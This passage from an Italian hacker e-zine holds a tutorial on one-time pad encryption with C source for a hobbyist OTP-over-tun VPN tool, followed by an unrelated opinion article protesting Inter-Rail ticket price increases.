avviene nell'otp.


- Teoria. Come funziona l'otp, pregi e difetti -

Come scritto appena 5 righe fa, la peculiarita' dell'otp e' ke la
lunghezza della kiave deve essere come quella del testo da cifrare.
Un altro requisito fondamentale, e' ke la kiave venga generata da
una fonte di informazioni casuali, un rng insomma (random number
generator).
ora, con un semplice xor tra la kiave e il testo da cifrare, quello
in kiaro insomma, otteniamo un testo cifrato molto particolare dal
punto di vista di un crittoanalista.
l'unica informazione contenuta nel testo infatti, per un elemento ke
nn conosce la key, e' la lunghezza del testo stesso.
infatti, statisticamente, il testo cifrato, potrebbe essere qualsiasi
informazione sensata di quella lunghezza; per fare un esempio, il testo
"a7C@" potrebbe essere "ciao" oppure "culo", anzi, lo sono entrambi,
basta avere la key giusta per decifrarne uno o l'altro.
la key pero', deve averla solo il nostro interlocutore, questa e'
l'unica sicurezza ke ci porta a considerare sicuro il tutto.
il punto debole quindi, come vi state immaginando, sta nel condividere
la kiave in modo sicuro, nel senso, nn possiamo mandare la key via
email. le dimostrazioni di shannon su come l'otp e' il cifrario perfetto
nn me la sento di farle ke un conto e' capirlo e un'altro e' farlo capire
, quindi vi lascio qlke link sul finale. noi ci occuperemo di come
implementarlo.
una parte cruciale dell'implementazione e' appunto lo scambio di chiavi,
che come abbiamo detto nn puo' avvenire in canali non sicuri, quindi
deve avvenire necessariamente nella vita reale per quanto mi riguarda.
cioe', tutta la sicurezza e la paranoia di usare one time pad, e'
inutile se poi ci scambiamo le kiavi via internet; sarebbe molto +
sicuro utilizzare dei cifrari asimmetrici a questo punto.
l'uso di otp, per come la vedo io, e' giustificabile solo per
comunicazioni di cui bisogna essere proprio sicuri ke nessuno
(ma proprio nessuno eh...) sia in grado di comprendere, con
nessun mezzo; nn e' una questione di soldi ne' di potere, non si puo' .
kiaramente possono andare a casa del vostro interlocutore e trovargli
la key nella home, oppure torturarlo finke' nn rivela dove sta la key,
ma si sa', spesso il punto debole della catena e' sempre l'uomo.


- Come ti implemento One Time Pad in C -

Nulla di + semplice. 2 fopen per aprire i rispettivi file, la key e il
testo in kiaro, e un'operatore, lo xor, ke in c viene indicato dal
simbolo ^.
lo xor e' un operatore logico ke opera con 2 operandi, 2 bit +
precisamente, ed ha una proprieta' particolare, ovvero ke e'
invertibile: conoscendo uno dei due operandi e il risultato, e'
possibile ottenere con facilita' l'operando mancante, vediamo un
esempio:

a ^ b = c
c ^ b = a

1 ^ 1 = 0
0 ^ 1 = 1

questo succede perke' lo xor risulta vero solamente quando i 2 operandi
sono diversi, quindi (carattere del testo in chiaro) xor (carattere
della key) = (carattere del testo cifrato) e mandando il testo cifrato
in giro, solamente il possessore della rispettiva key sara' in grado di
decifrare il testo in modo corretto. detto questo, una funzione ke
potrebbe illuminare molti di voi (in c nn ci possono essere
fraintendimenti :))) la riporto qui di seguito:


char *otp(int len,char *text,char *key)
{
for (;len>=0;len--)
text[len]=text[len]^key[len];
return text;
}


no, non c'e' alcun tipo di controllo, si presume innanzitutto ke sia
la key sia il testo contengano qualcosa, e soprattutto ke la key sia
almeno lunga quanto il testo da cifrare.
il ciclo sostanzialmente fa' lo xor tra un char del testo e uno della
key alla posizione [len] , e con il risultato sovrascrive il testo in
kiaro, che quindi alla fine del ciclo diventera' il testo cifrato.
3 righe di codice, davvero banale.
lascio immaginare al lettore come utilizzare questa funzione all'interno
di un programma!


- VPN over One Time Pad -

Il problema cruciale del One Time Pad e' sempre stata la sua
implementazione nel mondo reale. Come introdotto prima, lo scambio di
chiavi e' un problema, sia per quanto riguarda il mezzo di scambio (che
abbiamo detto essere necessariamente il mondo reale) e sia per quanto
riguarda la lunghezza: non possiamo sapere a priori quanto lunga ci
serve una key perche' non conosciamo le potenziali comunicazioni che
avverranno con il nostro corrispondente nel futuro.
La soluzione sta nell'abbondare: con un kiave lunga 700Mb, posso
scambiare 700Mb di informazioni, saremo noi a decidere per quanto tempo
questo traffico sia sufficiente per pianificare un successivo incontro
di scambio di kiavi.
Durante l'implementazione, e' sorto un'altro problema:

chiamiamo i 2 interlocutori A e B; se il otp viene utilizzato sopra una
vpn potrebbero sorgere dei problemi di sincronizzazione.
Le comunicazioni dovrebbero avvenire cosi':
A manda "ciao" cifrandolo con i primi 4 caratteri della key (quindi
sposta l'offset della propria key di 4 posizioni).
B riceve il messaggio cifrato e lo decifra con i primi 4 chars della
key (ke e' uguale a quella di A, se la sono scambiati in un bar il
giorno prima) e anke lui sposta l'offset della sua key di 4 chars.
Se B deve mandare un messaggio ad A ora, questo lo cifra partendo
dal quinto carattere della key, e A lo potra' decifrare correttamente
perke' anke il suo offset e' sul quinto carattere.
Il problema sorge perke' le comunicazioni in internet non avvengono con
un ritardo di tempo sempre uguale, anzi, quindi potenzialmente potrebbe
verificarsi una situazione per cui A manda un messaggio e sposta
l'offset della sua key e B manda un messaggio ad A, prima ke gli arrivi
il messaggio di A. Come conseguenza, i messaggi mandati sono stati
cifrati con la stessa parte di kiave, e quando i messaggi arriveranno a
destinazione non verranno decifrati correttamente.
Tutto questo porta oltre ad una desincronizzazione del flusso dei dati
difficlmente riprendibile , anke ad un problema + importante, ovvero
l'uso ripetuto di parti di kiave per cifrare i dati, il che, sfora uno
dei prerequisiti del One Time Pad.
La soluzione suggerita (non l'unica possibile ovviamente), e' quella di
dividere la key condivisa in 2 parti (split vi dece nulla?), una per i
dati in uscita, e una per quelli in entrata (al bar dovremmo anke
concordare quali parti utilizzare per mandare e ricevere dati).
Questo comporta anke la possibilita' di utilizzare key + lunghe o meno
lunghe per mandare e ricevere dati in base alla particolare
applicazione su cui vogliamo utilizzare la vpn.

Il tool ke implementa quanto detto fin'ora lo trovate in allegato
oppure su http://www.alternauts.org tra i sorgenti.
Per utilizzarlo dovete avere il modulo tun ke permette la creazione
di interfacce di rete virtuali.
Il codice dovrebbe essere abbastanza commentato, e kiaramente pieno
di problemi, ma tendenzialmente funziona.
Se avete dubbi/domande/perplessita' nn abbiate timore a scrivermi:
lesion@autistici.org
la public key la trovate nei keyservers internazionali...
Key fingerprint = 209E 411E 7988 C3B9 8B38 969D 46FE 3EAA 302B 58E4
http://underscore.hacklab.it/acari/lesion


-------------------Makefile--------------------------------------------
SRC = otp.c socket.c vpn.c entropia.c
CFLAGS = -O2 -Wall
CC=gcc
LIBS= -lm

all :
$(CC) $(CFLAGS) $(SRC) -o otp $(LIBS)

clean:
rm -f *.o otp

indent:
indent -bbb -bad -bap -bl -bli0 -cdb -ce -ci2 -cli2 -fc1 -fca -i2 -lp -npcs -psl -sc -nsob -nss -ts1 *.c *.h
rm *~
-------------------end Makefile----------------------------------------


-------------------entropia.c------------------------------------------
#include "otp.h"
#define log2of10 3.32192809488736234787


double
entropia(char *file)
{
FILE *f;
int i, oc;
long ccount[256]; /* Bins to count occurrences of values */
long totalc = 0; /* Total character count */
double ent=0.0;
double prob[256]; /* Probabilities per bin for entropy */

if ((f = fopen(file,"r")) < 0)
fatal("[] Error while open '%s' file: '%s'\n", file, strerror(errno));



memset(ccount, 0, sizeof ccount);
memset(prob, 0, sizeof prob);
while ((oc = fgetc(f)) != EOF)
{
unsigned char ocb;
ocb = (unsigned char) oc;
totalc ++;
ccount[ocb]++; /* Update counter for this bin */
}

fclose(f);


for (i = 0; i < 256; i++)
prob[i] = (double) ccount[i] / totalc;


for (i = 0; i < 256; i++)
if (prob[i] > 0.0)
ent += prob[i] * (log2of10 *log10(1 / prob[i]));


return ent/8*100;
}
-------------------end entropia.c--------------------------------------


-------------------otp.c-----------------------------------------------
#include "otp.h"

void
fatal(char *fmt, ...)
{
va_list ap;

va_start(ap, fmt);
vfprintf(stderr, fmt, ap);
va_end(ap);
fprintf(stderr, "\n");
exit(-1);
}

// called by pressing ctrl+c
void
close_key()
{
close(key_fd);
close(rand_fd);
printf("\n[] key generated!\n[] Calculating the entropy of key...");
fflush(stdout);
printf("\r[] Entropy of the key is %.3f%%\n", entropia(arg.key_file));
exit(0);
}


// print some needed informations
void
usage()
{
printf("\n\n\topt implements the one time pad algo!\n\totp usage:\n\n\n");
printf("\t- Create key:\n\t\totp --gen_key key_file\n\t\topt -g key_file\n\n");
printf("\t- Create VPN with OTP:\n\t\totp -v server -r recv_key_file -s send_key_file\n\t\totp --vpn client server_host --recv_key recv_key_file --send_key send_key_file\n\n");
printf("\t You can specify the offset of keys with -so (--send-offset) and -ro (--recv-offset)\n");
printf("\tIMPORTANT NOTE: after setting up the vpn you can see the interface with 'ifconfig -a' but you must configure it\n");
printf("\twith something like 'ifconfig otp0 192.168.0.1 pointopoint 192.168.0.2'.\n\tFor more verbose output you can use -D or --debug.\n\n\n");
exit(-1);
}

// parse command lines argument
void
parse_args(int argc, char **argv)
{
#define GEN_KEY 1
#define VPN_CLIENT 2
#define VPN_SERVER 3
#define ENTROPY 4

unsigned short int i;

if (argc < 2)
usage();

arg.type = 0;
// cycle through all arguments
for (i = 1; i < argc; i++)
{
if (argv[i][0] == '-')
{
// debug
if (!strcmp(argv[i], "-d") || !strcmp(argv[i], "--debug"))
arg.debug = 1;
// help
else if (!strcmp(argv[i], "-h") || !strcmp(argv[i], "--help"))
usage();
// genkey
else if (!strcmp(argv[i], "-g") || !strcmp(argv[i], "--gen-key"))
{
if (arg.type)
fatal("[] Incompatible option... '%s'\n", argv[i]);

if (argc - 1 <= i)
fatal("[] '%s' option need an argument (file)\n", argv[i]);
else
{
arg.key_file = argv[++i];
arg.type=GEN_KEY;
}
}
//entropy
else if (!strcmp(argv[1],"-e") || !strcmp(argv[i],"--entropy"))
{
if (arg.type)
fatal("[] Incompatible option... '%s'\n", argv[i]);

if (argc - 1 <= i)
fatal("[] '%s' option need an argument (file)\n", argv[i]);
else
{
arg.key_file = argv[++i];
arg.type=ENTROPY;
}
}
// vpn
else if (!strcmp(argv[i], "-v") || !strcmp(argv[i], "--vpn"))
{
if (arg.type)
fatal("[] Incompatible option... '%s'\n", argv[i]);
if (argc - 1 <= i)
fatal("[] '%s' option need an argument (client/server)\n", argv[i]);
i++;
if (!strcmp(argv[i], "client"))
{
arg.type = VPN_CLIENT;
if (argc - 1 <= i)
fatal
("[] VPN tunnel in client mode needs the server (example --vpn client 213.121.123.213)\n");
arg.remote_ip = argv[++i];
} else if (!strcmp(argv[i], "server"))
arg.type = VPN_SERVER;
else
fatal("[] '%s' option need an argument (client/server)\n", argv[i]);
}
//recv-key
else if (!strcmp(argv[i],"-r") || !strcmp(argv[i],"--recv-key"))
{
if (argc - 1 <= i)
fatal("[] '%s' option need an argument\n", argv[i]);
else
arg.recv_file = argv[++i];

}
//send-key
else if (!strcmp(argv[i],"-s") || !strcmp(argv[i],"--send-key"))
{
if (argc - 1 <= i)
fatal("[] '%s' option need an argument\n", argv[i]);
else
arg.send_file = argv[++i];

}
//send offset
else if (!strcmp(argv[i],"-so") || !strcmp(argv[i],"--send-offset"))
{
if (argc - 1 <= i)
fatal("[] '%s' option need an argument\n", argv[i]);
else
arg.send_offset = atol(argv[++i]);
}
//recv offset
else if (!strcmp(argv[i],"-ro") || !strcmp(argv[i],"--recv-offset"))
{
if (argc - 1 <= i)
fatal("[] '%s' option need an argument\n", argv[i]);
else
arg.recv_offset = atol(argv[++i]);
}

} else
fatal("[] Error while parsing arguments...what's '%s'?\n", argv[i]);
}

if (!arg.type)
usage();


// last control
if (arg.type==VPN_CLIENT || arg.type==VPN_SERVER)
{
if (!arg.recv_file || !arg.send_file)
fatal("[] Missing need --send_key or --recv_key option\n");
}
}


int
main(int argc, char **argv)
{

// initialize variable
arg.remote_ip = NULL;
arg.recv_file = NULL;
arg.send_file = NULL;
arg.recv_offset=0;
arg.send_offset=0;
arg.debug = 0;


// parse agruments
parse_args(argc, argv);

r_offset=arg.recv_offset;
s_offset=arg.send_offset;


if (arg.debug)
{
printf("[] After parse_args arg struct is: \n");
printf("[] remote_ip : %s\n", arg.remote_ip);
printf("[] type : %d\n", arg.type);
printf("[] debug : %d\n", arg.debug);
printf("[] r_offset : %lld\n",r_offset);
printf("[] s_offset : %lld\n",s_offset);
}

switch (arg.type)
{
case ENTROPY:
{
printf("[] Entropy of %s is %.3f%%\n",arg.key_file,entropia(arg.key_file));
break;
}
case GEN_KEY:
{
char key[1024];
unsigned long long int l = 0;
int i = 0;

if ((key_fd = open(arg.key_file, O_CREAT | O_WRONLY, 00600)) < 0)
fatal("Error while opening '%s' to write: '%s'\n", arg.key_file,
strerror(errno));
if ((rand_fd = open("/dev/urandom", O_RDONLY)) < 0)
fatal("Error while opening '/dev/urandom' to read: '%s'\n",
strerror(errno));

printf("[] Generating key....\n");
printf("[] otp need more time to generate the random key.\n");
printf("[] I hope you daemonize me with a ctrl+z and bg. \n");
printf
("[] press CTRL+C when you decide that your key is of appropriate size!\n");

signal(SIGINT, close_key);
fflush(stdout);
// take random data from /dev/random
while ((i = read(rand_fd, key, 1024)))
{
printf("\r[]%lld bytes", l += i);
write(key_fd, key, i);
fflush(stdout);
}
fprintf(stderr, "[] Error while create key: '%s'\n", strerror(errno));
close(rand_fd);
close(key_fd);
exit(-1);
}
break;


//devo aprire 2 file di key e posizionarmi alla posizione corretta
case VPN_CLIENT:
{

//open the key to decrypt data
if ((recv_fd = open(arg.recv_file, O_RDONLY)) < 0)
fatal("[] Error while open %s file: '%s'\n", arg.recv_file,
strerror(errno));

//going to the correct position
if (r_offset)
if (lseek(recv_fd,r_offset,SEEK_SET)==-1)
fatal("[] Error while going to correct position : '%s'\n",strerror(errno));

//open the key to encrypt data
if ((send_fd = open(arg.send_file, O_RDONLY)) < 0)
fatal("[] Error while open %s file: '%s'\n", arg.send_file,
strerror(errno));

//going to the correct position
if (s_offset)
if (lseek(send_fd,s_offset,SEEK_SET)==-1)
fatal("[] Error while going to correct position : '%s'\n",strerror(errno));


//open the tun device
vpn_fd = initTun();

//open the tcp/ip connection (port 12000)
if ((client_fd = otp_connect(arg.remote_ip, 12000)) < 0)
fatal("[] Error while connection to '%s': %s\n", arg.remote_ip,
strerror(errno));

//uhm ??!?!?!?!?
// system("ifconfig otp0 10.0.0.2 pointopoint 10.0.0.1");

//call engine
main_loop();
break;

}

case VPN_SERVER:
{

//open the key to decrypt data
if ((recv_fd = open(arg.recv_file, O_RDONLY)) < 0)
fatal("[] Error while open %s file: '%s'\n", arg.recv_file,
strerror(errno));

//going to the correct position
if (r_offset)
if (lseek(recv_fd,r_offset,SEEK_SET)==-1)
fatal("[] Error while going to correct position : '%s'\n",strerror(errno));

//open the key to encrypt data
if ((send_fd = open(arg.send_file, O_RDONLY)) < 0)
fatal("[] Error while open %s file: '%s'\n", arg.send_file,
strerror(errno));

//going to the correct position
if (s_offset)
if (lseek(send_fd,s_offset,SEEK_SET)==-1)
fatal("[] Error while going to correct position : '%s'\n",strerror(errno));




//open the tun device
vpn_fd = initTun();

//bind port (here i'm server)
client_fd = otp_server(12000);

// system("ifconfig otp0 10.0.0.1 pointopoint 10.0.0.2");

//call engine
main_loop();

break;
}
}

return 0;
}
-------------------end otp.c-------------------------------------------


-------------------otp.h-----------------------------------------------
#include <stdio.h>
#include <sys/ioctl.h>
#include <stdarg.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <linux/if_tun.h>
#include <linux/if.h>
#include <netdb.h>
#include <errno.h>
#include <signal.h>
#include <math.h>

struct arg
{
char *key_file;
char *recv_file,*send_file;
unsigned long long int send_offset,recv_offset;
char *remote_ip;
char type;
char debug;
char mode;
} arg;

int send_fd,recv_fd,key_fd, rand_fd, vpn_fd, client_fd;
unsigned long long int r_offset,s_offset;

// socket.c
int otp_connect(char *host, unsigned short int port);
int otp_read(int sock, char *s, unsigned short int size);
int otp_write(int sock, const char *s);
int otp_server(unsigned short int port);
void otp_close(int sock);
int timedrselect(fd_set * rfds, int max, int time);
int timedrread(int sock, int time);

// onetimepad.c
void fatal(char *fmt, ...);

// vpn.c
int initTun();
void main_loop();


// entropia.c
double entropia(char *file);
-------------------end otp.h-------------------------------------------


-------------------socket.c--------------------------------------------
#include "otp.h"
int
otp_connect(char *host, unsigned short int port)
{
struct sockaddr_in address;
struct hostent *hp;
int sock;

if ((sock = socket(PF_INET, SOCK_STREAM, 0)) < 0)
return -1;

if ((hp = gethostbyname(host)) == NULL)
return -1;

memset(&address, 0, sizeof(address));
memcpy((char *) &address.sin_add

  
r, hp->h_addr, hp->h_length);
address.sin_family = AF_INET;
address.sin_port = htons((u_short) port);

if ((connect(sock, (struct sockaddr *) &address, sizeof(address))) < 0)
return -1;
else
return sock;
return -1;
}



int
otp_server(unsigned short int port)
{
int rsock, lsock;
struct sockaddr_in server, client;
unsigned int lclient;

// ifconfig in qualke modo
if ((rsock = socket(PF_INET, SOCK_STREAM, 0)) < 0)
fatal("[] Error in socket()!\n");
memset(&server, 0, sizeof(server)); /* Zero out structure */
server.sin_family = AF_INET; /* Internet address family */
server.sin_addr.s_addr = htonl(INADDR_ANY); /* Any incoming interface */
server.sin_port = htons(port); /* Local port */
/*
* Bind to the local address
*/

if (bind(rsock, (struct sockaddr *) &server, sizeof(server)) < 0)
fatal("[] Errore in bind()!\n");
if ((listen(rsock, 1)) < 0)
fatal("[] Error in listen()!\n");
/*
* Set the size of the in-out parameter
*/

lclient = sizeof(client);
/*
* Wait for a client to connect
*/

if ((lsock = accept(rsock, (struct sockaddr *) &client, &lclient)) < 0)
fatal("[] Error in accept()!\n");
/*
* clntSock is connected to a client!
*/

printf("[] Connected to client %s\n", inet_ntoa(client.sin_addr));
return lsock;
}

int
otp_read(int sock, char *s, unsigned short int size)
{
int i;

if (timedrread(sock, 30))
{
i = read(sock, s, size);
s[i] = 0;
return i;
} else
{

return -1;
}
}


int
otp_write(int sock, const char *s)
{
return write(sock, s, strlen(s));
}

void
otp_close(int sock)
{
shutdown(sock, 2);
}



int
timedrselect(fd_set * rfds, int max, int time)
{
struct timeval timeout;

timeout.tv_sec = time;
timeout.tv_usec = 0;

if (select(max, rfds, NULL, NULL, &timeout) <= 0)
return 1;
return 0;
}

/*
* prepare the socket to be read
*/

int
timedrread(int sock, int time)
{
fd_set rfds;

FD_ZERO(&rfds);
FD_SET(sock, &rfds);
timedrselect(&rfds, sock + 1, time);
return FD_ISSET(sock, &rfds);
}
-------------------end socket.c----------------------------------------


-------------------vpn.c-----------------------------------------------
#include "otp.h"

// vpn with otp :D
int
initTun()
{
int fdTun;
char *tunDevName = "/dev/net/tun";
struct ifreq ifr;
int err;

fdTun = open(tunDevName, O_RDWR | O_NONBLOCK);
if (fdTun < 0)
fatal("[] Error opening tun device '%s'.\n", tunDevName);

ifr.ifr_flags = IFF_TUN;
strncpy(ifr.ifr_name, "otp%d", 10);
err = ioctl(fdTun, TUNSETIFF, (void *) &ifr);
if (err < 0)
{
close(fdTun);
fatal("[] Error with ioctl(TUNSETIFF).\n");
}
return fdTun;
}


void
main_loop()
{
fd_set rfds;
char buffer[1024];
char c;
int l, i = 0;

// lseek to offset
// lseek(key_fd, offset, SEEK_SET);

while (1)
{
FD_ZERO(&rfds);
FD_SET(vpn_fd, &rfds);
FD_SET(client_fd, &rfds);


if (arg.debug)
printf("[] Before select\n");
select(FD_SETSIZE, &rfds, NULL, NULL, NULL);
// i dati arrivano dall'interfaccia..li butto sul socket
if (FD_ISSET(vpn_fd, &rfds))
{
l = read(vpn_fd, buffer, 1024);
r_offset += l;
buffer[l] = 0;
if (!l)
fatal("[] Interface closed!\n");
if (arg.debug)
printf("[] Reading %d bytes from interface: '%s'\n", l, buffer);

// encrypt data
for (i = 0; i < l; i++)
{
// read a byte from key_fd
if (read(recv_fd, &c, (sizeof(char))) < 0)
fatal("[] recv key is finish!\n");
buffer[i] = buffer[i] ^ c;
}

l = write(client_fd, buffer, l);
if (arg.debug)
printf("[] Writing %d bytes to socket...\n", l);
}
// i dati arrivano dal socket...li butto sull'interfaccia
if (FD_ISSET(client_fd, &rfds))
{
l = read(client_fd, buffer, 1024);
if (!l)
fatal("[] Connection closed!\n");
if (arg.debug)
printf("[] Reading %d bytes from socket..\n", l);
// decrypt data
for (i = 0; i < l; i++)
{
// read a byte from key_fd
if (read(send_fd, &c, 1 * (sizeof(char))) < 0)
fatal("[] key is finish!\n");
buffer[i] = buffer[i] ^ c;
}

l = write(vpn_fd, buffer, l);
if (arg.debug)
printf("[] Writing %d to interface\n", l);
}
}
}
-------------------end vpn.c-------------------------------------------


:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::


.::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::[.]::[.]
:: [O]nda[Q]uadra [0X0C] OQ20040615[0C] ::
:: [0x0A][SHUTD0WN] THEY'RE KiLLiNG iNTER-RAiL [inquis] ::
[.]::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

"They're killing inter-rail", queste le parole che da qualche giorno, al
momento della stesura di questo articolo, compaiono su un banner nella
pagina iniziale del sito dell'Associazione Culturale Viaggi e Liberta'
<http://www.inter-rail.it>. Associazione italiana senza fini di lucro
che da poco piu' di un anno favorisce, protegge e promuove la cultura
del viaggio senza limiti, senza confini e senza pregiudizi; il tutto
grazie a raduni, manifestazioni e in modo virtuale grazie
all'attivissimo e ricco di informazioni Forum presente sul sito.
Questi ideali da molti anni si concretizzano in un biglietto del treno
particolare chiamato Inter Rail.
Questo biglietto puo' essere acquistato senza discriminazioni da
qualunque cittadino dell'Unione Europea ad un prezzo che, fino a qualche
tempo fa, era tutto sommato abbordabile e da' diritto al singolo
possessore di viaggiare, secondo i limiti su indicati, per un
determinato periodo di tempo nelle zone d'Europa prefissate. Vedasi il
sito http://www.interrailnet.com e la pagina http://tinyurl.com/yssd7
per ottenere maggiori informazioni sul regolamento.

Come ogni cosa che ha un prezzo, da due anni a questa parte, anche tale
biglietto e' stato oggetto di speculazioni che pregiudicano
indiscriminatamente le occasioni di viaggio che migliaia di giovani di
tutta Europa sognano di anno di anno. Infatti dall'ultima assemblea
sovranazionale del consorzio Inter-Rail emerge la volonta', e l'ormai
messa in atto, di tagli sulla durata della validita' dei biglietti, di
aumenti dei prezzi e dell'abolizione degli sconti sui biglietti fino ai
confini del proprio paese nel raggiungimento di una delle zone indicate
sul biglietto. Queste decisioni, rese pubbliche dalla U.I.C. (Union
Internationale Chemins de fer <http://www.uic.asso.fr>), ente francese
a cui fa capo il consorzio Inter-Rail, in poco tempo sono diventate
oggetto di proteste da parte di privati sui loro blogs e di molte
associazioni dei paesi della comunita' europea che, come
l'Associazione Culturale Viaggi e Liberta', promuovono la suddetta
filosofia di viaggio.
Ad una lettera di richiesta di spiegazioni da tale associazione
indirizzata al responsabile del consorzio Inter-Rail e' giunta la
seguente risposta; tra parentesi quadre le mie considerazioni:

"[...] L'anno scorso abbiamo condotto un'indagine di mercato sugli
spostamenti di piacere dei giovani europei.

L'importanza del fattore prezzo era ben evidente in questa indagine, ma
altri punti erano stati anche giudicati importanti dai nostri clienti:
permettere dei soggiorni piu' corti, portare piu' flessibilita'.

[ Prendere in considerazione le preferenze di mete dei giovani
mi sembra un criterio di valutazione della situazione alquanto
futile dato che i giovani, come tutti, ricoprono un territorio
vasto come la totalita' dell' Europa ed e' normale che un giovane
del nord Europa preferisca spostarsi a sud/est/ovest piuttosto
che visitare un paese vicino a lui che puo' aver gia' visitato o
che comunque gli e' piu' facile visitare.
Poi, stando ai fatti, cio' che e' stato attuato e' in disaccordo
con l'ultima affermazione infatti e' stato abolito il biglietto
da 12 giorni e sostituito con un biglietto da 16 giorni. ]

[...]

Questa offerta risulta necessariamente da un compromesso tra le
aspettative dei nostri clienti e gli imperativi economici di ciascuno
dei membri.

[ Se i clienti sono coloro che fanno uso del biglietto IR (e cosi' e')
mi trovo del tutto in disaccordo, io non ho chiesto di avere tagli
sulle durate e aumenti di prezzi, e sulla base di aspetti economici
come l'inflazione credo che neppure i membri, gli stati
facenti parte del consorzio, siano del tutto d'accordo con le
decisione prese dato che piu' stranieri si trovano per un
periodo sul loro territorio, maggiori sono le entrate che lo Stato
e i privati stessi percepiscono, e' palese. ]

La Comunita' ha cercato di conciliare queste due necessita'.

[ L'ottica con la quale sono state prese le decisioni e imposte al
regolamento Inter-Rail e' quella che guida la societa' del XXI
secolo: LUCRO! Chi ne paga le conseguenze? I liberi viaggiatori,
oltre 8 milioni sinora, che, stando alle singole iscrizioni del
sito http://www.inter-rail.it/, solo nella nostra penisola sono
ogni anno ~1000 in piu'. Chi ne trae beneficio? Difficile dirlo,
ma sicuramente i vertici del consorzio, senno' perche' avrebbero
attuato un cosi' drastico cambiamento sul regolamento?! ]

Mantenere un prezzo artificialmente basso farebbe correre il rischio di
vedere ritirarsi dall'Inter-Rail le societa' che si riterrebbero lese.
In breve tempo, l'Inter-Rail scomparirebbe.

[ Sulla base di quali dati statistici comprovati/comprovanti si
afferma che il mantenimento dei prezzi in vigore fino alla scorsa
estate farebbe correre il rischio di vedere ritirarsi dal consorzio
le societa' ferroviarie, private e pubbliche, che fino ad ora
hanno aderito al biglietto? In quale modo potrebbero esse ritenersi
lese? Non e' forse vero che maggiore e' il numero di stranieri,
maggiori sono i soldi che circolano all'interno del paese visitato?
Non e' cosi' evidente tutto cio' tanto che ci sono molti paesi che
vanno avanti quasi del tutto grazie al turismo?
A mio avviso questa risposta e' un erroneo tentativo di giustificare
la speculazione a spese di chi ama viaggiare in modo libero ed
auto-organizzato! ]

Anche se il prezzo aumenta, il biglietto Inter-Rail rimane il mezzo piu'
economico per scoprire l'Europa. [...]

[ Per un viaggio esteso ad un ampia area d'Europa (per ampio intendo
almeno due paesi distinti, con visita a piu' di quattro citta') sono
d'accordo, cio' non toglie che un biglietto nato per favorire
il viaggio, e di conseguenza l'acculturamento, ai giovani d'Europa
ora si ritrova vittima di pesanti manovre di mercato volte alla
sua probabile fine. ]

I membri della comunita' Inter Rail sono assolutamente coscienti della
sua importanza. Credono nel prodotto e desiderano che continui a
vivere."


[ Questo punto non viene evidenziato molto stante il fatto che i
membri stessi hanno preso parte a tale assemblea e non si sono resi
conto minimamente dell'importanza e dei guadagni derivanti da tale
prospettiva di viaggio giovanile. ]

Per il testo completo della lettera potete fare riferimento a questo
link, http://tinyurl.com/38tx5 .

Il giorno dopo tale risposta da parte del consorzio, l'Ufficio Stampa
dell'Associazione Viaggi e Liberta' scrive un comunicato stampa
chiedendo ai mass media di dar voce alla propria protesta e focalizza
l'attenzione sui rischi che tali manovre di mercato produrranno
ciclicamente nei prossimi mesi. Il comunicato stampa, apparso di recente
anche sulla rivista cartacea "Viaggi" e' leggibile all'indirizzo
http://tinyurl.com/2pqm2 . Personalmente tengo a focalizzare
l'attenzione del lettore su alcuni passaggi di tale scritto:

"[...] la preoccupazione maggiore di Viaggi e Liberta', ovvero che un
biglietto nato esclusivamente per far viaggiare i giovani si stesse
trasformando in un biglietto influenzato dalle logiche di mercato a
discapito della mission per il quale era stato creato, trova un
riscontro drammaticamente reale nel nuovo rincaro dei prezzi di aprile
2004.

[...]

I giovani inter-railer si fanno infatti portatori di una filosofia
del viaggio che sembra ormai dimenticata in mezzo al lusso sfrenato di
tanti giganteschi complessi turistici che impediscono al
"
turista" di andare oltre, di conoscere realmente la dimensione
del viaggio e di entrare in contatto con le culture locali. Il turista,
ormai, si limita soltanto ad attraversare le culture; non le assapora
piu', non prova nemmeno a conoscerle, preferendo comprare un pacchetto
viaggio che assomigli il piu' possibile ad una realta' quotidiana
trasposta - con tutte le comodita' del caso - piuttosto che cercare
di scoprire i segreti dei luoghi visitati, lasciandosi sorprendere dal
viaggio stesso. Liberta' di opinione e di scelta, naturalmente. [...]"



inquis <inquis(at)ondaquadra<dot>org>
http://inquis.ondaquadra.org

:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

← previous
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT